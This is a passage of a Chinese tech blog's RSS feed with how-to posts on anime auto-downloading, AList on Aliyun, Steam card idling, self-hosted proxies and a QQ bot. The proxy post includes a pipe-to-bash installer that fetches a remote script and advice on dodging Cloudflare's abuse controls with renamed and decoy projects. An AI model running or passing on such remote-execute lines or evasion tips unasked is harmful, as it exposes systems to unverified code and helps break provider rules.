&lt;h3&gt;安装&lt;a href=&quot;https://www.autobangumi.org/&quot;&gt;AutoBangumi&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于获取你订阅的番剧并在更新时自动发起下载任务&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;安装Docker各系统安装方式各有不同&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;找一个你喜欢的文件夹创建&lt;code&gt;docker-compose.yaml&lt;/code&gt; ,并写入内容:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3.8&quot;
services:
AutoBangumi:
image: ghcr.io/estrellaxd/auto_bangumi:latest
container_name: AutoBangumi
volumes:
- ./config:/app/config
- ./data:/app/data
ports:
- &quot;7892:7892&quot;
network_mode: bridge
restart: unless-stopped
dns:
- 223.5.5.5
environment:
- TZ=Asia/Shanghai
- PGID=$(id -g)
- PUID=$(id -u)
- UMASK=022
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;运行命令docker compose up -d&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入localhost:7892 默认账号admin默认密码adminadmin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点左边的设置图标 -&amp;gt; 下载设置,填入下载器信息,然后点击右下角的应用,直到右上角亮绿灯&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/94f407121de7816ee2dff78f948dcc2ded27b28f.DywiQ2_k.webp&quot; alt=&quot;QmbVcrgZ2C2FTt6QdfKsUkVQz9SCiQiyq1WCbphDiGW2mM.webp&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往蜜柑计划,注册账号,并订阅你想要的番剧(复制)
&lt;img src=&quot;https://blog.acofork.com/_astro/0e22eab8db6ed2441f3d3be0b10d51944867df0a.BIC84FGQ.webp&quot; alt=&quot;QmXq7DcBkA4EecJikQE4snvPkNU2NQLy1EXUpAructteah.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回到 AutoBangumi点击右上角的 +,添加 RSS粘贴&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;静静等待,不出意外 AutoBangumi 会自动下载你订阅的番剧了如果没有可以查看AutoBangumi的日志或者尝试重启容器&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;下载旧集或已完结番剧&lt;/h3&gt;
&lt;p&gt;首先推荐几个资源网(梯子自备):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://acg.rip&quot;&gt;ACG.RIP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://share.acgnx.se&quot;&gt;末日动漫资源网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;蜜柑计划 国内直连1. https://mikanime.tv 2. https://hadestian.cn 3. https://mk.misakaae.com 4. https://mikan.yujiangqaq.com 5. RSS镜像站https://mikanani.longc.top&lt;/li&gt;
&lt;li&gt;蜜柑计划 需翻墙https://mikanani.me
然后找你想要的番剧下载&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;规范重命名&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;为了让软件能正确刮削元数据和剧集,我们需要规范重命名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意你只需要确保番剧名正确就可以了子目录可以通过后面的脚本自动重命名如果你不确定番剧名请前往TMDB搜索&lt;a href=&quot;themoviedb.org&quot;&gt;The Movie Database (TMDB) &lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一级目录qb 设置的下载目录):不需要重命名&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;二级目录(番剧名,必须正确):总之就是非常可爱&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;三级目录番剧的哪一季Season 1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;四级目录番剧的哪一季的哪一集S01E01.MP4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;s&gt;前往Episode-ReName克隆仓库&lt;/s&gt; &lt;s&gt;(已被删库,可尝试&lt;a href=&quot;https://alist.onani.cn/Episode-ReName.zip&quot;&gt;Episode-ReName.zip | Onani-AList&lt;/a&gt; )&lt;/s&gt; AList已死请尝试天翼云盘 https://cloud.189.cn/web/share?code=iQVjUnzE7fQj 访问码i8sk&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Win 可以通过右键菜单自动获取路径版.bat 通过右键一级目录选择自动剧集命名 。若使用.py 脚本则只能通过&lt;code&gt;python3 EpisodeReName.py &quot;D:/qbdownloads/bangumi&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;小贴士:&lt;/strong&gt; 可以使用&lt;a href=&quot;https://onani.cn/RaiDrive&quot;&gt;RaiDrive&lt;/a&gt;&lt;a href=&quot;/SSHFS&quot;&gt;SSHFS&lt;/a&gt;将远程的Linux文件映射到Windows上管理番剧更方便
&lt;img src=&quot;https://blog.acofork.com/_astro/5cf6dfe73164f6a869a59817df53f939e936ab00.ZkNAu3Fr.webp&quot; alt=&quot;QmY7KM2MjudNksqvSkkFmwFgjjdD7ZQKLDaVPXR3jnXoxw.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;安装 Plex或者安装飞牛云NAS&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于观看番剧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载Plex Media Server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动。默认端口 32400如果进去是一堆乱码添加/web后缀。例如192.168.124.25:32400/web&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择你的媒体库文件夹&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;开启远程访问,右上角设置 -&amp;gt; 远程访问&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;图为飞牛影视&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/acbde8bfd7395a8b5c744b9f1c550f3caac6c342.iHuYMdka.webp&quot; alt=&quot;Qmf8Q1D9fUoFbu9MQsQHvaz13p3YV2XguR3RqUAse2KBEa.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爽看&lt;/p&gt;
</content:encoded></item><item><title>我买了个新NAS...</title><link>https://blog.acofork.com/posts/new-nas/</link><guid isPermaLink="true">https://blog.acofork.com/posts/new-nas/</guid><description>你可能不知道我曾经购入过一台N100迷你主机不久后便卖掉了不过现在我又购入了这是为什么呢</description><pubDate>Sun, 23 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;我为什么在很久之前买了一个NAS存疑&lt;/h1&gt;
&lt;p&gt;这其实是一个老生常谈的问题,就像你问我为什么要开始写博客,我也只能给你一个答案,我想这么做。&lt;/p&gt;
&lt;p&gt;好吧好吧这个答案可能过于敷衍如果让我仔细想想应该说当时我已经有了不少的Linux理论知识和实操经验通过云服务器所以就想自己弄一个24h小时不关机的小主机放在家里玩家里云&lt;/p&gt;
&lt;p&gt;一开始我只是用它挂了QQBot这也是我最初最想要干的事情因为如果我去花钱买国内的云服务器挂Bot那太贵了国外的服务器延迟又太高拿自己的手机电脑是一个很好的选择我的朋友就曾使用过Shamrock来挂Bot。不过这并不适用于我在当时我的所有设备包括手机、平板、电脑都各司其职还要天天陪我出勤根本做不到24h不关机我总不能说我电脑/手机/平板断网Bot就下线吧而且我也很讨厌将个人设备的一部分作为服务器使用就像你在玩崩坏星穹铁道的时候后台挂着Stable Diffusion一样 &lt;s&gt;而且不符合Unix哲学&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;其实很早我就曾使用过旧手机+Termux达到家里云的效果了但是因为手机芯片是Arm64而大部分运维软件都是AMD64x86架构的。对于开源软件还好说只需要自己费劲编译一个版本 &lt;s&gt;或者嫖Github Action的编译&lt;/s&gt; 就可以去使用了。
但是对于经常摸云服务器的我来说还是喜欢x86架构的开箱即用也可以顺势装上一些运维管理面板辅助使用。&lt;/p&gt;
&lt;p&gt;那么就只有一个解了那就是买一个x86小主机。你可能注意到了我说了这么久我为什么要买一个x86小主机作为家里云使用但是通篇没有提NAS三个字这是为什么呢正所谓饱暖思淫欲。&lt;/p&gt;
&lt;p&gt;如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的所以那段时间我就开始天天折腾但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储那么既然是网络附属&lt;strong&gt;存储&lt;/strong&gt;那必然要干什么欸对狠狠塞盘但是实际上那一款小主机只有一个M.2和一个SATA插槽而且M.2已经作为系统盘了而SATA插槽也是只能插2.5寸的硬盘。&lt;/p&gt;
&lt;p&gt;人话来说这完全就不是一个NAS单盘位算NAS吗只是一个容量比较大的家里云罢了。我说到这里你可能都会在想那你为什么还要买呢欸这你就不知道了我曾经在2017年买过一个ASUS的双核笔记本而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘高达512G虽然这个主机做不了RAID也塞不进多盘 &lt;s&gt;其实可以后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0&lt;/s&gt; 但是它确实能做到24h不关机N100的性能也足够用也够我折腾各种乱七八糟的东西了。&lt;/p&gt;
&lt;p&gt;于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统基本把常用Linux发行版全跑了一遍也体验了PVE里面跑飞牛的嵌套操作那段时间天天都有新东西可以折腾还是很爽的。&lt;/p&gt;
&lt;h1&gt;那么话又说回来,既然我已经卖掉了那个小主机,这又是为什么呢?&lt;/h1&gt;
&lt;p&gt;缺钱但是不知道在缺什么钱。哈哈写到这里真是把我也笑到了从众心理是真的很害人我们都知道2024年末苹果发布了Mac Mini16+256G+教育优惠不到4k就能买到全新机而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好然后一时上头就把能当的全部当了 &lt;s&gt;我纱布一个不仅是小主机惨遭毒手还有Redmi Book Pro 15SRedmi GXiaomiPad 6等等&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;总算是凑够钱线下提机了到手傻眼了苹果的M4芯片是Arm架构的很多东西都跑不了Docker调用不了GPU说白了这东西对我来说就是性能强大的家庭服务器但是我不会用那么聪明的二叉树树做了一件什么事呢在可以7天无理由的情况下毅然决然挂到闲鱼以高价3333人民币卖出 &lt;s&gt;购入是4k左右折下来净亏1k&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500最终3299人民币到手的超高性能甜品机。&lt;/p&gt;
&lt;h1&gt;主播主播,你的操作还是太笨比了,后续有没有什么更笨比的操作啊!&lt;/h1&gt;
&lt;p&gt;有的兄弟有的就在刚刚下单了一个新NAS我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾但可惜那时我已经佛了被各种事情忙的不可开交。但是话又说回来现在我前所未有的感到空闲我将带领我的大脑我的身体我的精神开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴&lt;/p&gt;
&lt;p&gt;哈哈!我一定要活下去口牙!&lt;/p&gt;
&lt;p&gt;后续搞机有成也会写新博文的确实很久没写了我向大家道歉看着网站每天20的日活真的要哭了你们都不来找我呜呜呜呜呜呜呜&lt;/p&gt;
</content:encoded></item><item><title>利用阿里云云函数 FC 搭建AList后端每月仅需5毛</title><link>https://blog.acofork.com/posts/alist-for-aliyun/</link><guid isPermaLink="true">https://blog.acofork.com/posts/alist-for-aliyun/</guid><description>阿里云云函数 FC是一个弹性的计算平台可托管多种服务。搭配AList的前后端分离部署实现比VPS更低的价格得到更好的体验</description><pubDate>Mon, 13 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;还是建议购买一个便宜的云服务器来部署或者用家里云,这种方法很灵车&lt;/h1&gt;
&lt;p&gt;推荐Akilehttps://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;AList前端有一个专门的项目https://github.com/AlistGo/alist-web 。可前往&lt;a href=&quot;/alist-web&quot;&gt;AList-Web部署教程&lt;/a&gt;。教程使用了Cloudflare Page进行前端部署我们更建议你使用 https://vercel.com 来进行前端部署,因为更快。这些都完全免费&lt;/li&gt;
&lt;li&gt;部署完毕前端后我们就需要一个后端它需要能够执行AList的二进制文件并且能开放端口默认为5244来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器或者用自己的电脑/家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算它虽然可以运行二进制文件但是和传统架构大相径庭我们要深入了解。&lt;/li&gt;
&lt;li&gt;FC函数是一个实例性服务。用户可以创建函数部署服务当一定条件被触发比如HTTP触发器则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署在部署后也无法对其进行更改所以我们需要绑定一个NAS文件系统用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 /code/xxx 目录我们可以使用AList的指定配置文件参数将NAS绑定到 /mnt/AList 然后指定配置文件到 /mnt/AList 。也就是通过 &lt;strong&gt;./alist server --data /mnt/AList&lt;/strong&gt; 命令来启动,这样就做到了数据持久化。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;关于计费&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;FC函数通过CU数来收费&lt;/li&gt;
&lt;li&gt;NAS通过存储空间来收费&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义&lt;/li&gt;
&lt;li&gt;我们目前并不知道这个后端URL如何填写因为这个URL是由阿里云在FC函数创建完毕的时候才会展示所以我们暂且搁置到一遍&lt;/li&gt;
&lt;li&gt;接下来我们前往阿里云-函数计算FC官网 https://fcnext.console.aliyun.com/overview&lt;/li&gt;
&lt;li&gt;依次点击 左侧边栏的 函数 -&amp;gt; 创建函数 -&amp;gt; Web函数。进入到创建Web函数的页面&lt;/li&gt;
&lt;li&gt;函数名称填写AList运行环境选择Debian 10或Debian 11代码上传方式选择从文件夹上传代码启动命令填写&lt;strong&gt;./alist server --data /mnt/AList&lt;/strong&gt;监听端口填写5244&lt;/li&gt;
&lt;li&gt;我们需要上传代码到函数也就是AList的二进制文件我们前往 https://github.com/AlistGo/alist/releases/latest 下载最新的Linux AMD64架构的二进制文件也就是 &lt;strong&gt;alist-linux-amd64.tar.gz&lt;/strong&gt;。将其解压,你会得到一个名为 &lt;strong&gt;alist&lt;/strong&gt;的二进制文件,创建一个空文件夹将其放进去,然后上传这个文件夹到函数&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmdajYeRyt1u3BSmRdGx8uUHKamGDkwoRe4TmEFZsJsaqS.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;然后点击左下角的创建&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后你会进入到函数的控制面板,依次点击 配置 -&amp;gt; 网络 -&amp;gt; 网络 编辑 -&amp;gt; 允许访问VPC:是 -&amp;gt; 自动配置。依次点击 配置 -&amp;gt; 存储 -&amp;gt; NAS文件存储 编辑 -&amp;gt; 挂载 NAS 文件系统:启用 -&amp;gt; 自动配置。依次点击 日志 -&amp;gt; 开通日志服务&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在回到 代码 界面,点击部署代码。稍等片刻会提示部署成功,然后点击 函数详情内的 HTTP触发器 ,复制公网访问地址。这个就是我们前文提到的要写到前端根目录的 env.production 文件的URL将其填写进去例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;VITE_API_URL = &quot;https://aliyun-fc-alist.run&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;提交你的新更改,前端会自动重新构建&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试直接访问你的AList前端URL它应该会顺利进入到AList的登录页面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此时查看控制面板的 实例 是否有一条新的实例正在工作如果有再前往日志查看该实例日志你会看到AList初始化时生成的管理员密码拿这个密码到前端URL登录AList然后就可以正常使用了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;如果出现正在加载储存:
&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmZVewYnKwCJzcShnkGTTVZJiTSUUSQi9u6pZ5rXRDK3rK.png&quot; alt=&quot;9aa460cd2dc84e1debe43e9df2d342fc&quot; /&gt;
查看你的日志,是否有存储加载失败,如果有可以尝试:
&lt;ol&gt;
&lt;li&gt;反复重新部署,直到能进后台然后删除那些加载失败的存储&lt;/li&gt;
&lt;li&gt;https://github.com/AlistGo/alist/discussions/3976&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>使用ArchiSteamFarm进行Steam自动挂卡</title><link>https://blog.acofork.com/posts/asf/</link><guid isPermaLink="true">https://blog.acofork.com/posts/asf/</guid><description>ArchiSteamFarm是一个Steam自动挂卡工具它可以自动识别哪些游戏没有挂卡并且自动挂卡高效率获得Steam集换式卡牌</description><pubDate>Wed, 18 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;可用的目标作业系统&lt;/h1&gt;
&lt;p&gt;Windows x86/Arm64
Linux x86/Arm64/Arm32
OS X x86/Arm64
(和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译&lt;/p&gt;
&lt;h1&gt;安装&amp;amp;使用 ArchiSteamFarm&lt;/h1&gt;
&lt;p&gt;https://github.com/JustArchiNET/ArchiSteamFarm&lt;/p&gt;
&lt;p&gt;或前往Releasehttps://github.com/JustArchiNET/ArchiSteamFarm/releases/latest&lt;/p&gt;
&lt;p&gt;下载你适用于你作业系统的可执行文件的压缩包&lt;/p&gt;
&lt;p&gt;启动ArchiSteamFarm
等待终端输出WebUI地址进入&lt;/p&gt;
&lt;p&gt;添加机器人,简单配置即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmcoF7K5sTkd4CRGTZPmnLwheAHpSf68RkZTd4ZST41uXc.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你配置了Steam手机验证器此时应该会弹出登录请求允许它。然后前往终端界面输入 &lt;strong&gt;Y&lt;/strong&gt; 并回车
此时终端应该输出:&lt;strong&gt;成功以 XXXXXXXXXX 的身份登录。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmcuktSJjWFmufsLmrYRsbLa9ns7pvRXKWZ5EUyirasKt6.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果此时登录的账号未被占用,则自动开始挂卡。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;ASF并不会干扰你的正常使用Steam的行为当账号被占用时ASF会暂停挂卡直到账号未被占用这个过程是全自动的无需手动干涉&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;ASF可以视为一个无头Steam客户端它不仅能挂卡还能做更多事情详见https://github.com/JustArchiNET/ArchiSteamFarm/wiki&lt;/p&gt;
</content:encoded></item><item><title>关于Rewrite MV无法播放\没有画面的解决方法</title><link>https://blog.acofork.com/posts/rewrite-qa/</link><guid isPermaLink="true">https://blog.acofork.com/posts/rewrite-qa/</guid><description>Rewrite打完才发现MV一个没看到</description><pubDate>Thu, 28 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;我使用的解决方法Windows 10及以上带有Microsoft Store的系统&lt;/h1&gt;
&lt;p&gt;安装这个即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/bafkreieb2qknggudxx7sc723jheso6grhgemznjqb5n6yqwsrvgqkqn4ba.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后游戏内改为Windows Media Player&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/bafkreihujn3jctibvixv4trpsu5j4d2v7de2ibzea6xe6pzmithymffpqu.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;汉化组提供的解决方法&lt;/h1&gt;
&lt;p&gt;安装:&lt;a href=&quot;https://www.codecguide.com/download_k-lite_codec_pack_basic.htm&quot;&gt;K-Lite Basic解码器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后游戏内改为 MCI&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/bafkreic7a3tnnoxyn646tzy35nec2oioz4ktffuizb5ge67ibww5ntnmpq.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>自建正向代理服务器</title><link>https://blog.acofork.com/posts/vpn/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vpn/</guid><description>不要再买机场了!自建它不香吗?!</description><pubDate>Fri, 22 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;将Cloudflare作为代理使用Vless - EdgeTunnel&lt;/h1&gt;
&lt;p&gt;下面内容参考自:&lt;a href=&quot;https://vercel.blog.cmliussss.com/p/CM24/&quot;&gt;CF VLESS 从入门到精通 cmliu/edgetunnel 必看内容 免费节点 优选订阅 Workers &amp;amp; Pages CM喂饭干货满满24 | CMLiussss Blog&lt;/a&gt; 请支持原创作者!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到你的Cloudflare Pages项目没有Cloudflare账号先去因特网上搜索教程注册一个如果遇到卡慢可以试试看科学上网&lt;/li&gt;
&lt;li&gt;进入 https://it-tools.tech/uuid-generator 随机获取一个uuid&lt;/li&gt;
&lt;li&gt;添加一个名称为&lt;code&gt;UUID&lt;/code&gt;的变量绑定,值为第二步随机获取的(请不要泄露给他人!)&lt;/li&gt;
&lt;li&gt;重新上传第一步的&lt;code&gt;main.zip&lt;/code&gt;。让Cloudflare重新部署page以适配新变量&lt;/li&gt;
&lt;li&gt;前往Pages项目 -&amp;gt; 自定义域:绑定自定义域名。(没有域名?推荐 https://nic.us.kg https://www.cloudns.net 。可以自行前往因特网搜索教程这里不再赘述。也可以不绑定直接使用cf分配的&lt;code&gt;pages.dev&lt;/code&gt;域名。但是,部分地区&lt;code&gt;pages.dev&lt;/code&gt;可能无法访问或者较易和谐)&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;https://你的自定义域名/uuid&lt;/code&gt; 查看仪表盘&lt;/li&gt;
&lt;li&gt;如图复制链接打开V2Ray导入。V2Ray客户端下载地址在文章最后&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-24-00-17-22-image.CV7lj7wP.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;500Mbps的移动宽带通过edgetunnel测速速度如下。测速网址 https://fast.com&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-22-09-08-38-image.B4XMFUbW.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如果你就是想要最低延迟可以去用cfnat这里放一个Windows的链接 https://www.youtube.com/watch?v=N2Y9TsiBgls 其他平台可以自行前往CM的YouTube查找&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意edgetunnel近期在Cloudflare新号上可能会报错1101这可能并不是你的配置问题而是被cf风控了。解决方案是删除原项目重新部署一遍不要用一样的项目名你也可以多弄几个其他的正常pages或workers项目做伪装博主使用新号实测被gank了3次每一次都换名字删除pages然后重新部署然后一直稳定到现在&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额所以请不要将自己的项目分享给别人也不要拿去卖自己注册简简单单&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如图为博主半天的使用量我只是上了上Telegram~&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-26-16-07-50-image.DZ-6NWUW.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;将你自己的国外VPS作为代理使用&lt;/h1&gt;
&lt;h2&gt;使用新协议Hysteria2&lt;/h2&gt;
&lt;p&gt;可以前往这两个仓库进行一键安装~&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/0x0129/hysteria2&quot;&gt;https://github.com/0x0129/hysteria2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/seagullz4/hysteria2&quot;&gt;https://github.com/seagullz4/hysteria2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;大致安装过程自签名不使用acme不使用端口跳跃&lt;/p&gt;
&lt;p&gt;客户端Hiddify&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hiddify/hiddify-app&quot;&gt;https://github.com/hiddify/hiddify-app&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其他客户端在第二个Github Repo获取&lt;/p&gt;
&lt;h2&gt;使用旧协议V2Ray&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/233boy/v2ray&quot;&gt;https://github.com/233boy/v2ray&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VPS安装脚本&lt;code&gt;bash &amp;lt;(curl -s -L https://git.io/v2ray.sh)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;详细安装:脚本执行完毕后输入&lt;code&gt;v2ray&lt;/code&gt;更改配置为Shadowsocks&lt;/p&gt;
&lt;p&gt;Windows客户端 &lt;a href=&quot;https://github.com/2dust/v2rayN/releases&quot;&gt;Releases · 2dust/v2rayN · GitHub&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Android客户端 &lt;a href=&quot;https://github.com/2dust/v2rayNG/releases&quot;&gt;Releases · 2dust/v2rayNG · GitHub&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>使用NoneBot2搭建你的QQBot</title><link>https://blog.acofork.com/posts/qqbot/</link><guid isPermaLink="true">https://blog.acofork.com/posts/qqbot/</guid><description>使用NapCat连接NoneBot2打造自己的聊天机器人</description><pubDate>Wed, 20 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;安装 NapCat(Win)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;用于登录 QQ 实现收发消息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入&lt;a href=&quot;https://github.com/NapNeko/NapCatQQ/releases/latest&quot;&gt;Release NapCat V4.1.12 · NapNeko/NapCatQQ · GitHub&lt;/a&gt;,下载&lt;code&gt;NapCat.Shell.zip&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将其解压到一个单独的文件夹,然后打开命令行,运行&lt;code&gt;launcher.bat &amp;lt;BOT QQ号&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;运行后通过手机扫码登录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它会打印本地控制台的地址信息,如:&lt;code&gt;[NapCat] [WebUi] WebUi Local Panel Url: http://127.0.0.1:6099/webui?token=4xldg5fqb1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;直接进入如图配置即可端口号可以自己修改但是要和下部分NoneBot2监听的端口一致。这里是9090&lt;img src=&quot;https://blog.acofork.com/_astro/2024-11-20-19-21-21-2024-11-20-19-15-39-image.BBcDFQRe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;安装 NoneBot2&lt;/h1&gt;
&lt;p&gt;用于实现逻辑,控制 NapCat 收发消息&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先,你得装&lt;a href=&quot;https://www.python.org/downloads/&quot;&gt;Python&lt;/a&gt;。Windows可以使用 https://scoop.sh/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pypi 清华源:&lt;code&gt;pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
